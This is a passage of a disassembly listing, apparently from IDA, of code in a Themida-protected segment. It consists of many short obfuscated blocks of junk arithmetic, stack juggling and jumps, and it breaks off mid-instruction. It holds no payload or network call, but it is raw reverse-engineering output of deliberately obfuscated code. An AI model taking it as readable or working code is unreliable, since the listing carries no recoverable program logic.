loc_5455CF ; --------------------------------------------------------------------------- loc_54A6BF: ; CODE XREF: Themida_:0054AEC2j push ecx mov ecx, 5AAB1460h sub ecx, 35A12DCFh xor ecx, 2A6BE172h add edx, ecx pop ecx add edx, ebx sub edx, 0F6207E3h sub edx, 2E926B91h pop ebx xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp push dword ptr [edi+eax*4] push dword ptr [esp] pop eax push edx mov edx, esp push ebp jmp loc_54B1E2 ; --------------------------------------------------------------------------- loc_54A6FD: ; CODE XREF: Themida_:0054F15Cj push ebx push 7876h mov [esp], esp push ebx mov ebx, 4 add [esp+4], ebx jmp loc_545FFD ; --------------------------------------------------------------------------- loc_54A715: ; CODE XREF: Themida_:0054C5FDj mov al, 0B3h xor al, 0EFh and al, 4Ch neg al inc al sub al, 7Bh mov ch, al pop eax push edx mov dh, 99h and ch, dh jmp loc_54EFA7 ; --------------------------------------------------------------------------- loc_54A72E: ; CODE XREF: Themida_:00548047j mov ch, 0ADh sub al, 51h sub al, ch add al, 51h pop ecx add al, 8 mov ch, al pop eax jmp loc_54F605 ; --------------------------------------------------------------------------- loc_54A741: ; CODE XREF: Themida_:00547F03j sub edi, eax sub edi, 5BE54D9Dh jmp loc_54F26A ; --------------------------------------------------------------------------- loc_54A74E: ; CODE XREF: Themida_:0054B224j add ebp, 4 push edi mov edi, 4 sub ebp, edi pop edi xchg ebp, [esp] mov esp, [esp] mov [esp], ebx sub dword ptr [esp], 16C201B2h pop ebp push ecx mov ecx, 16C201B2h add ebp, ecx pop ecx push ebp pop eax pop ebp sub esp, 4 mov [esp], esi push 1442h mov [esp], eax mov eax, 3156069Ah xor eax, 3D2C0544h shr eax, 6 shl eax, 2 inc eax jmp loc_5466B4 ; --------------------------------------------------------------------------- lodsd xor eax, ebx push ebx mov ebx, 0E8E1E23h sub ebx, 1 jmp loc_54B40B ; --------------------------------------------------------------------------- loc_54A7B2: ; CODE XREF: Themida_:00544D21j xchg esi, [esp] xchg edx, esi not edx xchg edx, esi xchg esi, [esp] mov edi, [esp] jmp loc_54AC85 ; --------------------------------------------------------------------------- loc_54A7C6: ; CODE XREF: Themida_:0054D006j pop ecx xor ecx, 2783738Dh sub esp, 4 mov [esp], ebx jmp loc_54B9BB ; --------------------------------------------------------------------------- loc_54A7DB: ; CODE XREF: Themida_:00545B0Dj pop ecx jmp loc_54A47E ; --------------------------------------------------------------------------- loc_54A7E1: ; CODE XREF: Themida_:0054BB2Ej add ebp, ecx add ebp, 110F73F3h pop ecx sub esp, 4 mov [esp], edi push ebx mov ebx, 2 mov edi, ebx pop ebx sub ebp, 14273FA1h jmp loc_54D9E9 ; --------------------------------------------------------------------------- loc_54A804: ; CODE XREF: Themida_:00547600j pop edi add esp, 4 add edx, ebx push dword ptr [esp] mov ebx, [esp] jmp loc_54F99C ; --------------------------------------------------------------------------- loc_54A818: ; CODE XREF: Themida_:0054927Dj push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp push esp jmp loc_54E0DC ; --------------------------------------------------------------------------- loc_54A831: ; CODE XREF: Themida_:00544603j mov ecx, [edx] mov edx, [esp] jmp loc_544D09 ; --------------------------------------------------------------------------- loc_54A83B: ; CODE XREF: Themida_:005457EEj pop ecx add esp, 4 add ecx, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] jmp loc_545D89 ; --------------------------------------------------------------------------- loc_54A856: ; CODE XREF: Themida_:0054B4AEj mov eax, 76DE3256h jmp loc_546D92 ; --------------------------------------------------------------------------- loc_54A860: ; CODE XREF: Themida_:0054EDB0j xchg eax, [esp] pop esp mov ecx, [esp] jmp loc_54D446 ; --------------------------------------------------------------------------- mov eax, [esp] push edi sub esp, 4 mov [esp], esp jmp loc_548D0A ; --------------------------------------------------------------------------- loc_54A87E: ; CODE XREF: Themida_:00545793j mov edi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_54BA40 ; --------------------------------------------------------------------------- loc_54A896: ; CODE XREF: Themida_:0054BC2Ej push esp mov esi, [esp] add esp, 4 sub esp, 4 jmp loc_54D28F ; --------------------------------------------------------------------------- loc_54A8A8: ; CODE XREF: Themida_:00546897j and edx, 52EC0951h jmp loc_549E23 ; --------------------------------------------------------------------------- loc_54A8B3: ; CODE XREF: Themida_:0054DC3Aj xor [esp], edi xor edi, [esp] xor [esp], edi not edi xchg edi, [esp] pop ebx shr ebx, 5 sub ebx, 1 push 0 sub [esp], ebx pop ebx sub ebx, 0E7D810CFh push eax mov eax, 20h add eax, edi xor [eax], ebx jmp loc_548DF7 ; --------------------------------------------------------------------------- loc_54A8E6: ; CODE XREF: Themida_:0054699Fj mov eax, esp push 0B07h mov [esp], edi push ebx push 675014CDh pop ebx jmp loc_54458E ; --------------------------------------------------------------------------- sub esp, 4 jmp loc_54A157 ; --------------------------------------------------------------------------- loc_54A904: ; CODE XREF: Themida_:00546486j mov dl, [esp+2] mov [esp+2], bl pop bx not dl xchg dl, [esp] jmp loc_547DC7 ; --------------------------------------------------------------------------- loc_54A918: ; CODE XREF: Themida_:0054652Cj add ecx, 0FF828CDh add ecx, edx sub ecx, 0FF828CDh add ecx, 4FE2407Ah pop edx mov edi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp and eax, ecx jmp loc_544A2A ; --------------------------------------------------------------------------- loc_54A948: ; CODE XREF: Themida_:00545AEEj add esi, 4 xchg esi, [esp] pop esp add esp, 4 push ecx push esp mov ecx, [esp] add esp, 4 add ecx, 4 sub ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp mov [esp], ecx push edi push 550F7880h pop edi jmp loc_547065 ; --------------------------------------------------------------------------- loc_54A97F: ; CODE XREF: Themida_:0054E04Bj add esp, 4 push ebx mov ebx, 4 sub edi, ebx jmp loc_546B00 ; --------------------------------------------------------------------------- loc_54A98F: ; CODE XREF: Themida_:00547FBBj add esp, 4 shr eax, 18h xor eax, ecx push 6663h mov [esp], eax jmp loc_54F371 ; --------------------------------------------------------------------------- loc_54A9A7: ; CODE XREF: Themida_:005466EFj pop eax mov dl, cl pop ecx pop ebx and al, dl mov dx, [esp] jmp loc_54C348 ; --------------------------------------------------------------------------- loc_54A9B7: ; CODE XREF: Themida_:00548506j push edi jmp loc_54C724 ; --------------------------------------------------------------------------- loc_54A9BD: ; CODE XREF: Themida_:0054AAF5j mov esp, [esp] inc dword ptr [esp] pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_54A9C9: ; CODE XREF: Themida_:0054CB36j xchg eax, [esp] pop esp jmp loc_545109 ; --------------------------------------------------------------------------- loc_54A9D2: ; CODE XREF: Themida_:00546F90j add ebp, 2 xchg ebp, [esp] pop esp push small 3644h mov [esp], bx mov bl, 58h sub al, 0BFh add al, 8Dh add al, bl sub al, 8Dh push cx mov ch, 0BFh add al, ch pop cx mov bx, [esp] jmp loc_547708 ; --------------------------------------------------------------------------- loc_54A9FF: ; CODE XREF: Themida_:00548CEFj push esi mov esi, 75F7373Ah push esi sub dword ptr [esp], 2BE2308Dh pop eax add eax, 2BE2308Dh pop esi push ebp mov ebp, 42A8015Ah not ebp shl ebp, 8 push ecx jmp loc_5443B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545BCC loc_54AA25: ; CODE XREF: sub_545BCC+39EBj add dl, bh add dl, 3Fh mov ebx, [esp+0] add esp, 4 sub al, 88h add al, dl add al, 88h mov dx, word ptr [esp+2+var_4+2] add esp, 2 push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_54D9D7 ; END OF FUNCTION CHUNK FOR sub_545BCC ; --------------------------------------------------------------------------- loc_54AA54: ; CODE XREF: Themida_:0054DE1Bj xor eax, ecx jmp loc_54C0FC ; --------------------------------------------------------------------------- loc_54AA5B: ; CODE XREF: Themida_:00547AF3j xchg esi, [esp] jmp loc_54CE6E ; --------------------------------------------------------------------------- loc_54AA63: ; CODE XREF: Themida_:00548291j mov edx, esp jmp loc_548036 ; --------------------------------------------------------------------------- loc_54AA6A: ; CODE XREF: Themida_:00548C58j xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] mov ax, [esp] sub esp, 4 mov [esp], esi mov esi, esp sub esp, 4 mov [esp], ebx push edx jmp loc_548A52 ; --------------------------------------------------------------------------- loc_54AA94: ; CODE XREF: Themida_:0054E750j mov [esp], ebp sub esp, 4 mov [esp], esp push edi mov edi, 4 add [esp+4], edi pop edi pop ebp add ebp, 4 sub esp, 4 mov [esp], eax jmp loc_54E344 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_549277 ; --------------------------------------------------------------------------- loc_54AAC9: ; CODE XREF: Themida_:00546499j add esi, 34BDF79Dh sub eax, esi pop esi push ecx mov ecx, 53784C09h add ecx, 2CFF587Eh add ecx, 423F4D61h jmp loc_547AA5 ; --------------------------------------------------------------------------- loc_54AAE9: ; CODE XREF: Themida_:00546650j mov [esp], cx jmp loc_549374 ; --------------------------------------------------------------------------- loc_54AAF2: ; CODE XREF: Themida_:0054B2B5j pop dword ptr [esp] jmp loc_54A9BD ; --------------------------------------------------------------------------- loc_54AAFA: ; CODE XREF: Themida_:0054C472j mov ecx, 0BCC3799h jmp loc_545F0E ; --------------------------------------------------------------------------- loc_54AB04: ; CODE XREF: Themida_:0054D42Fj push esi jmp loc_5446A0 ; --------------------------------------------------------------------------- loc_54AB0A: ; CODE XREF: Themida_:0054FC5Ej mov [esp], eax jmp loc_545FE4 ; --------------------------------------------------------------------------- loc_54AB12: ; CODE XREF: Themida_:00548236j mov edi, [esp] push esi mov esi, esp push ebp mov ebp, 4 add esi, 11D24C00h add esi, ebp jmp loc_54F643 ; --------------------------------------------------------------------------- loc_54AB2B: ; CODE XREF: Themida_:0054BE57j mov ebx, 6A5A7C8Ch dec ebx sub ebx, 20BA58A6h add eax, ebx jmp loc_54D9C2 ; --------------------------------------------------------------------------- loc_54AB3E: ; CODE XREF: Themida_:0054D3DCj shl edi, 4 push ecx mov ecx, 57801858h add ecx, 9A6CCB75h sub edi, 2A1E09AAh add edi, ecx add edi, 2A1E09AAh pop ecx add eax, 7AB842B6h add eax, edi sub eax, 7AB842B6h push dword ptr [esp] mov edi, [esp] push ebp mov ebp, esp push edx mov edx, 3D7C7265h or edx, 5C315FD2h jmp loc_54FEB6 ; --------------------------------------------------------------------------- loc_54AB82: ; CODE XREF: Themida_:0054B0CFj xchg ecx, edx jmp loc_546896 ; --------------------------------------------------------------------------- loc_54AB89: ; CODE XREF: Themida_:0054C6A7j push eax mov eax, 4 add [esp+4], eax pop eax mov edi, [esp] jmp loc_54F1A9 ; --------------------------------------------------------------------------- loc_54AB9C: ; CODE XREF: Themida_:0054D353j add ecx, 4 sub esp, 4 mov [esp], ebp sub esp, 4 mov [esp], ebx jmp loc_549E94 ; --------------------------------------------------------------------------- loc_54ABB9: ; CODE XREF: Themida_:00545902j mov edi, 79AC4E76h jmp loc_54E265 ; --------------------------------------------------------------------------- loc_54ABC3: ; CODE XREF: Themida_:005498DCj neg dl shr dl, 5 jmp loc_54421A ; --------------------------------------------------------------------------- loc_54ABCD: ; CODE XREF: Themida_:0054540Aj push 4218164Fh jmp loc_547E34 ; --------------------------------------------------------------------------- loc_54ABD7: ; CODE XREF: Themida_:0054DE61j shl esi, 3 push edi mov edi, 7E791A6Ch xor edi, 1B5D6650h jmp loc_54D270 ; --------------------------------------------------------------------------- loc_54ABEB: ; CODE XREF: Themida_:0054E4FAj add edi, 18CC3C39h jmp loc_5449A8 ; --------------------------------------------------------------------------- loc_54ABF6: ; CODE XREF: Themida_:0054F750j push dword ptr [esp+4] mov esi, [esp] jmp loc_5444B4 ; --------------------------------------------------------------------------- loc_54AC02: ; CODE XREF: Themida_:0054A152j xchg esi, [esp] pop esp mov [esp], eax push edx mov edx, 4BDB07E8h mov eax, 4BDB07ECh xor eax, edx pop edx push ebx mov ebx, 1DB059C2h sub ebx, 116A07F2h add edx, ebx jmp loc_548516 ; --------------------------------------------------------------------------- loc_54AC2A: ; CODE XREF: Themida_:0054530Bj sub edi, 0AE8C965Ch mov eax, edi jmp loc_545B12 ; --------------------------------------------------------------------------- loc_54AC37: ; CODE XREF: Themida_:0054F717j push 0 add byte ptr [esp], 0C9h sub [esp], dl sub byte ptr [esp], 0C9h mov dl, [esp] add esp, 4 dec dl not dl sub dl, 54h xor al, dl push dword ptr [esp] jmp loc_54B090 ; --------------------------------------------------------------------------- loc_54AC5E: ; CODE XREF: Themida_:00549CACj mov ecx, 1F124DECh not ecx xor ecx, 0A831C02h jmp loc_54E22A ; --------------------------------------------------------------------------- loc_54AC70: ; CODE XREF: Themida_:0054838Bj xor eax, 0E0255D2h add eax, 6FB5280h push edi mov edi, 2EBAF05Fh jmp loc_5471B9 ; --------------------------------------------------------------------------- loc_54AC85: ; CODE XREF: Themida_:0054A7C1j add esp, 4 shl edi, 7 shl edi, 6 not edi jmp loc_54675A ; --------------------------------------------------------------------------- loc_54AC98: ; CODE XREF: Themida_:005488CEj push dx mov dl, 1Bh sub cl, dl mov dx, [esp] push edi mov edi, esp add edi, 4 add edi, 2 xchg edi, [esp] pop esp push small 8F2h mov [esp], bx push edx mov dl, 0B2h shl dl, 8 xor dl, 61h shl dl, 5 push eax mov al, 0D1h add dl, al pop eax mov bl, dl jmp loc_544CE2 ; --------------------------------------------------------------------------- loc_54ACD6: ; CODE XREF: Themida_:0054D6B1j push dword ptr [esp] push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 add esp, 4 or eax, eax jz loc_54CCFF push eax sub esp, 4 jmp loc_54570C ; --------------------------------------------------------------------------- loc_54ACFF: ; CODE XREF: Themida_:00547A27j push dword ptr [esp] jmp loc_54887C ; --------------------------------------------------------------------------- loc_54AD07: ; CODE XREF: Themida_:005470E6j add ecx, 122D708Ah pop ebp jmp loc_54667D ; --------------------------------------------------------------------------- loc_54AD13: ; CODE XREF: Themida_:0054CE0Cj pop esi sub ecx, 439A5ED6h sub ecx, edi jmp loc_54D66E ; --------------------------------------------------------------------------- loc_54AD21: ; CODE XREF: Themida_:00544050j mov [esp], esp jmp loc_54B86A ; --------------------------------------------------------------------------- loc_54AD29: ; CODE XREF: Themida_:005473F8j mov [esp], edi mov edi, 4 mov edx, edi pop edi jmp loc_5500A5 ; --------------------------------------------------------------------------- loc_54AD39: ; CODE XREF: Themida_:00545EABj add esi, eax pop eax jmp loc_5478F8 ; --------------------------------------------------------------------------- loc_54AD41: ; CODE XREF: Themida_:005448FEj push 52FFh mov [esp], ebx push ecx jmp loc_54D833 ; --------------------------------------------------------------------------- loc_54AD4F: ; CODE XREF: Themida_:0054DFFCj mov esp, [esp] mov [esp], eax jmp loc_544022 ; --------------------------------------------------------------------------- loc_54AD5A: ; CODE XREF: Themida_:0054A3BDj xor ecx, [esp] jmp loc_544ED6 ; --------------------------------------------------------------------------- loc_54AD62: ; CODE XREF: Themida_:0054A453j push ebp push eax mov eax, 61544BE2h xor eax, 2FA622D5h shl eax, 8 xor eax, 0BF8F2628h mov ebp, eax pop eax not ebp and ebp, 7A6425Dh xor ebp, 14FA60DAh add ebp, 0EBEFFEC5h add eax, ebp pop ebp pop edi xor eax, [esp] xor [esp], eax jmp loc_545F1C ; --------------------------------------------------------------------------- loc_54AD9C: ; CODE XREF: Themida_:0054A5D4j add ecx, 1CAC76E1h mov esi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp add ecx, 2 xor ecx, [esp] xor [esp], ecx jmp loc_546B2D ; --------------------------------------------------------------------------- loc_54ADC6: ; CODE XREF: Themida_:0054B40Cj mov ecx, 6A729B0h push ebx jmp loc_54411E ; --------------------------------------------------------------------------- loc_54ADD1: ; CODE XREF: Themida_:0054BEF2j push edx sub esp, 4 jmp loc_54DF6C ; --------------------------------------------------------------------------- loc_54ADDA: ; CODE XREF: Themida_:00548CDFj shl eax, 3 xor eax, 2385FF4Ah jmp loc_5480DE ; --------------------------------------------------------------------------- loc_54ADE7: ; CODE XREF: Themida_:00544A56j add bl, ch jmp loc_54CEC2 ; --------------------------------------------------------------------------- loc_54ADEE: ; CODE XREF: Themida_:0054D415j add esp, 4 jmp loc_548AA2 ; --------------------------------------------------------------------------- loc_54ADF9: ; CODE XREF: Themida_:0054D8EDj pop ebx pop edi add ecx, edx push 7E27h mov [esp], edx mov edx, 0 add edx, ecx mov [edx], al pop edx jmp loc_54445A ; --------------------------------------------------------------------------- loc_54AE14: ; CODE XREF: Themida_:0054A39Ej push edx push esp pop edx push esi push edx push 5E081552h pop edx or edx, 5B560F72h shl edx, 8 xor edx, 5E1F7204h push edx xor dword ptr [esp], 10213E46h pop esi xor esi, 10213E46h mov edx, [esp] add esp, 4 add edx, esi pop esi push esi mov esi, 3EA15A72h xor esi, 3EA15A76h sub edx, 1AD1415Ah add edx, esi add edx, 1AD1415Ah pop esi xchg edx, [esp] jmp loc_54B87F ; --------------------------------------------------------------------------- loc_54AE69: ; CODE XREF: Themida_:0054C39Ej mov ecx, 0C7463C8h mov esi, 0F38B9C39h add esi, ecx jmp loc_54727C ; --------------------------------------------------------------------------- loc_54AE7A: ; CODE XREF: Themida_:00547FEAj sub ebx, edx pop edx push edi mov edi, 34A84E9Eh xchg ebp, edi jmp loc_54A3D1 ; --------------------------------------------------------------------------- loc_54AE8A: ; CODE XREF: Themida_:00547DA0j mov bl, 0B0h add bl, 4Ch push ax jmp loc_54B3A4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545BCC loc_54AE96: ; CODE XREF: sub_545BCC+2E69j add ch, 25h sub ch, 82h add bl, 49h jmp loc_547527 ; END OF FUNCTION CHUNK FOR sub_545BCC ; --------------------------------------------------------------------------- loc_54AEA4: ; CODE XREF: Themida_:0054FBADj add eax, 4 jmp loc_54F7C9 ; --------------------------------------------------------------------------- loc_54AEAE: ; CODE XREF: Themida_:00547D54j push 4 mov ebx, [esp] add esp, 4 add edx, 2E926B91h jmp loc_54A6BF ; --------------------------------------------------------------------------- loc_54AEC7: ; CODE XREF: Themida_:00546420j push ecx mov ecx, esp jmp loc_54A3F1 ; --------------------------------------------------------------------------- lodsd jmp loc_54A3A3 ; --------------------------------------------------------------------------- loc_54AED5: ; CODE XREF: Themida_:0054F51Bj pop edx jmp loc_5473C2 ; --------------------------------------------------------------------------- loc_54AEDB: ; CODE XREF: Themida_:0054522Bj shr ch, 7 or ch, 0FAh jmp loc_54C71E ; --------------------------------------------------------------------------- loc_54AEE6: ; CODE XREF: Themida_:0054F8DDj mov esi, 5D3277Ah push ecx mov ecx, 282E1227h neg ecx neg ecx add ecx, 0E05DFD7Eh jmp loc_54CB10 ; --------------------------------------------------------------------------- loc_54AF00: ; CODE XREF: Themida_:00546BAFj shl eax, 2 sub eax, 69262B0Bh push ebp mov ebp, 220EFB36h jmp loc_54DC33 ; --------------------------------------------------------------------------- loc_54AF13: ; CODE XREF: Themida_:005482BAj mov ebp, eax pop eax add eax, ebp pop ebp sub eax, 4 xchg eax, [esp] mov esp, [esp] mov [esp], edx push eax mov al, 0E3h add al, 33h jmp loc_5474C3 ; --------------------------------------------------------------------------- loc_54AF2F: ; CODE XREF: Themida_:0054A308j pop ecx push ecx mov ecx, esp push 3E90h mov [esp], edi mov edi, 51A0765h jmp loc_54B0BB ; --------------------------------------------------------------------------- loc_54AF45: ; CODE XREF: Themida_:0054820Aj mov [esp], esi push esp pop esi sub esp, 4 mov [esp], eax mov eax, 4 add esi, eax mov eax, [esp] jmp loc_546BBF ; --------------------------------------------------------------------------- loc_54AF62: ; CODE XREF: Themida_:0054A577j sub ebx, 4 push ebx push dword ptr [esp+4] jmp loc_544945 ; --------------------------------------------------------------------------- loc_54AF6F: ; CODE XREF: Themida_:0054F88Fj push 533h mov [esp], edi push 6281756h pop edi shr edi, 2 push edx mov edx, 3F3A3EFBh jmp loc_54FB82 ; --------------------------------------------------------------------------- loc_54AF8B: ; CODE XREF: Themida_:0054E72Ej add ecx, 6838037Ah sub ecx, edx sub ecx, 6838037Ah jmp loc_545D2F ; --------------------------------------------------------------------------- loc_54AF9E: ; CODE XREF: Themida_:0054EFEBj mov ecx, edx jmp loc_544369 ; --------------------------------------------------------------------------- loc_54AFA5: ; CODE XREF: Themida_:0054F18Bj sub edi, 0E6797480h add ebx, 25326C80h add ebx, edi sub ebx, 25326C80h pop edi push edx jmp loc_54B450 ; --------------------------------------------------------------------------- loc_54AFC0: ; CODE XREF: Themida_:0054DA54j mov bl, 1Dh shr bl, 1 jmp loc_54D518 ; --------------------------------------------------------------------------- loc_54AFC9: ; CODE XREF: Themida_:0054E3CEj mov esi, [esp] add esp, 4 jmp loc_544C09 ; --------------------------------------------------------------------------- loc_54AFD7: ; CODE XREF: Themida_:0054B396j sub ebx, 61F07A89h mov edi, [esp] add esp, 4 jmp loc_547E83 ; --------------------------------------------------------------------------- loc_54AFE8: ; CODE XREF: Themida_:0054B61Dj add esi, 4 xchg esi, [esp] pop esp jmp loc_54A165 ; --------------------------------------------------------------------------- loc_54AFF4: ; CODE XREF: Themida_:00547BF5j ; Themida_:0054DDE4j push esi push ebp jmp loc_548E6B ; --------------------------------------------------------------------------- loc_54AFFB: ; CODE XREF: Themida_:0054E20Aj mov [esp], edi push 503D6CC5h push dword ptr [esp] push dword ptr [esp] pop edi add esp, 4 add esp, 4 push eax mov eax, 503D6CE1h jmp loc_544C47 ; --------------------------------------------------------------------------- mov edx, [esp] push 4345h mov [esp], ecx jmp loc_54CD1C ; --------------------------------------------------------------------------- loc_54B02E: ; CODE XREF: Themida_:00549563j mov ch, 33h add al, 5Ch add al, ch sub al, 5Ch mov cx, [esp] jmp loc_546FB7 ; --------------------------------------------------------------------------- mov edi, 4A5014DCh sub edx, edi jmp loc_54C677 ; --------------------------------------------------------------------------- loc_54B04B: ; CODE XREF: Themida_:0054C699j pop esi sub esi, 24F0666h push ebp mov ebp, 19CA6D4Fh and esi, ebp pop ebp xor esi, 272C6301h mov ebx, esi pop esi shl ebx, 1 and ebx, 2E5657FAh shr ebx, 1 and ebx, 3ABA43E8h xor ebx, 0BDC2A9Fh sub eax, 59C65CB0h add eax, 414F69FDh sub eax, ebx sub eax, 414F69FDh jmp loc_54C9DC ; --------------------------------------------------------------------------- loc_54B090: ; CODE XREF: Themida_:0054AC59j pop edx add esp, 4 add bl, 3Bh add bl, 75h push dx jmp loc_54724A ; --------------------------------------------------------------------------- loc_54B0A4: ; CODE XREF: Themida_:0054619Cj push 4 push dword ptr [esp] pop ebp push edi mov edi, esp add edi, 4 jmp loc_547B77 ; --------------------------------------------------------------------------- loc_54B0BB: ; CODE XREF: Themida_:0054AF40j push edx mov edx, 6FBF754Ch or edx, 79E33164h push ecx mov ecx, 0 sub ecx, edx jmp loc_54AB82 ; --------------------------------------------------------------------------- loc_54B0D4: ; CODE XREF: Themida_:005458E4j add edx, ebx pop ebx jmp loc_54DD1E ; --------------------------------------------------------------------------- loc_54B0DC: ; CODE XREF: Themida_:00544058j mov [esp], esi mov esi, 6BBD5609h add eax, esi jmp loc_54BDDF ; --------------------------------------------------------------------------- loc_54B0EB: ; CODE XREF: Themida_:0054F0F4j push 0 sub [esp], edx pop edx not edx jmp loc_546765 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545BCC loc_54B0FB: ; CODE XREF: sub_545BCC-350j pop ebx push ecx mov ch, 0AEh sub al, ch pop ecx jmp loc_54F729 ; END OF FUNCTION CHUNK FOR sub_545BCC ; --------------------------------------------------------------------------- loc_54B107: ; CODE XREF: Themida_:00546F03j push bx jmp loc_54F28B ; --------------------------------------------------------------------------- loc_54B10E: ; CODE XREF: Themida_:0054D887j mov [esp], edi mov edi, 771A569Fh add edi, 94B1E0FAh jmp loc_54FBFA ; --------------------------------------------------------------------------- loc_54B121: ; CODE XREF: Themida_:00544A9Aj pop edi add eax, 39B0466Eh jmp loc_5458E9 ; --------------------------------------------------------------------------- loc_54B12C: ; CODE XREF: Themida_:005451FDj xor ebp, 7E027326h or ebp, 6787553h dec ebp sub ebp, 7F7FFF7Ah jmp loc_54FE6D ; --------------------------------------------------------------------------- loc_54B144: ; CODE XREF: Themida_:0054785Cj mov ecx, [esp] jmp loc_54DDB5 ; --------------------------------------------------------------------------- loc_54B14C: ; CODE XREF: Themida_:00546D0Cj jz loc_54EE8A push edx mov edx, 7A8011D6h and edx, 664F1312h push ebp mov ebp, 3B34DB2h add edx, ebp mov ebp, [esp] add esp, 4 sub esi, 1CAE07C1h add esi, edx add esi, 1CAE07C1h pop edx add esi, eax push edi push esi mov esi, 6350317Ah xor esi, 7D6B7A6Ah mov edi, esi pop esi not edi shr edi, 8 and edi, 0C515998h not edi inc edi not edi sub edi, 9A8DE1CBh push ebp mov ebp, 35EE14ECh jmp loc_54C797 ; --------------------------------------------------------------------------- loc_54B1B1: ; CODE XREF: Themida_:0054DD29j mov cx, 2 add word ptr [esp+2], 0C53h sub word ptr [esp+2], 3216h push bp jmp loc_54DB5B ; --------------------------------------------------------------------------- loc_54B1CA: ; CODE XREF: Themida_:00548FF8j push ebp jmp loc_549115 ; --------------------------------------------------------------------------- push 0BF8h jmp loc_54CBF8 ; --------------------------------------------------------------------------- loc_54B1DA: ; CODE XREF: Themida_:005499E2j add edi, esi pop esi jmp loc_54FE58 ; --------------------------------------------------------------------------- loc_54B1E2: ; CODE XREF: Themida_:0054A6F8j mov ebp, 38E9726Fh shr ebp, 4 and ebp, 6BB96EEDh sub ebp, 3880620h add edx, ebp mov ebp, [esp] add esp, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] push 8A1h mov [esp], edi push edx mov edx, 527446F4h jmp loc_54BF7F ; --------------------------------------------------------------------------- loc_54B21D: ; CODE XREF: Themida_:0054DAC6j pop esp mov [esp], ebp push ebp mov ebp, esp jmp loc_54A74E ; --------------------------------------------------------------------------- loc_54B229: ; CODE XREF: Themida_:0054E9E6j mov ah, cl pop ecx jmp loc_54A3C2 ; --------------------------------------------------------------------------- loc_54B231: ; CODE XREF: Themida_:0054CD4Dj pop ebp sub ebp, 49111061h jmp loc_54D1AC ; --------------------------------------------------------------------------- loc_54B23D: ; CODE XREF: Themida_:0054EB44j add esi, ebp mov ebp, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp xchg esi, [esp] pop esp and [esp], al pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_54B262: ; CODE XREF: Themida_:0054A599j mov edx, 0ED72FC1h or edx, 4A427AADh sub edx, 0B860D84h push edx jmp loc_54B479 ; --------------------------------------------------------------------------- loc_54B279: ; CODE XREF: Themida_:005500B3j sub ah, 52h mov dl, ah pop eax xor dl, 0C5h shl dl, 1 xor dl, al jmp loc_546FCB ; --------------------------------------------------------------------------- loc_54B28B: ; CODE XREF: Themida_:0054D5D0j add esi, ebx pop ebx sub [esp+8], esi pop esi push dword ptr [esp] pop ebx add esp, 4 pop eax add eax, 4DEB0DEBh push edi mov edi, 74BF129Fh sub edx, edi pop edi push ebp mov ebp, 278F4DA3h jmp loc_5461F6 ; --------------------------------------------------------------------------- loc_54B2B4: ; CODE XREF: Themida_:0054D525j pop esp jmp loc_54AAF2 ; --------------------------------------------------------------------------- loc_54B2BA: ; CODE XREF: Themida_:00546AE9j mov edi, esp add edi, 4 push edx sub esp, 4 jmp loc_54D7D1 ; --------------------------------------------------------------------------- loc_54B2CB: ; CODE XREF: Themida_:00548CD5j mov ebx, 12F914D5h not ebx jmp loc_544FF5 ; --------------------------------------------------------------------------- loc_54B2D7: ; CODE XREF: Themida_:005467DDj mov ebx, 1F9E5813h xor ebx, esi pop esi jmp loc_54D69C ; --------------------------------------------------------------------------- loc_54B2E4: ; CODE XREF: Themida_:00546891j sub eax, edi jmp loc_5478D2 ; --------------------------------------------------------------------------- loc_54B2EB: ; CODE XREF: Themida_:005490D7j or ebx, 74804E05h push eax jmp loc_549A25 ; --------------------------------------------------------------------------- loc_54B2F7: ; CODE XREF: Themida_:0054E941j neg edx jmp loc_5479A4 ; --------------------------------------------------------------------------- loc_54B2FE: ; CODE XREF: Themida_:005498EEj pop ecx add edi, ebx push esi jmp loc_544811 ; --------------------------------------------------------------------------- loc_54B307: ; CODE XREF: Themida_:005448A0j mov ebx, 6731FDh or ecx, ebx pop ebx sub ecx, 0FFFFFFFFh sub ecx, 677DFCh add eax, ecx pop ecx push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp movsx ecx, al push 2FD6h mov [esp], ecx jmp loc_544022 ; --------------------------------------------------------------------------- loc_54B335: ; CODE XREF: Themida_:005481D9j add al, bl jmp loc_545BEC ; --------------------------------------------------------------------------- loc_54B33C: ; CODE XREF: Themida_:0054FE12j mov [esp], esi mov esi, 37E03EC9h push 2688h jmp loc_54988D ; --------------------------------------------------------------------------- loc_54B34E: ; CODE XREF: Themida_:0054B4F3j push edx push ebp pop edx pop ebp add edx, 6CA075F6h xor ebp, edx jmp loc_54F48E ; --------------------------------------------------------------------------- loc_54B35F: ; CODE XREF: Themida_:00546EFBj push 3D1Dh mov [esp], ebp mov ebp, 4EB74F3Ah xor ebp, 63953BF6h shl ebp, 7 and ebp, 36AF5193h push eax mov eax, 2A866361h jmp loc_54D410 ; --------------------------------------------------------------------------- loc_54B386: ; CODE XREF: Themida_:0054B900j mov [esp], edi mov edi, 4 add ebx, 61F07A89h add ebx, edi jmp loc_54AFD7 ; --------------------------------------------------------------------------- loc_54B39B: ; CODE XREF: Themida_:0054B5ADj and cl, al pop ax jmp loc_5468FD ; --------------------------------------------------------------------------- loc_54B3A4: ; CODE XREF: Themida_:0054AE91j mov ah, 97h add bl, ah pop ax or bl, 0FCh add bl, 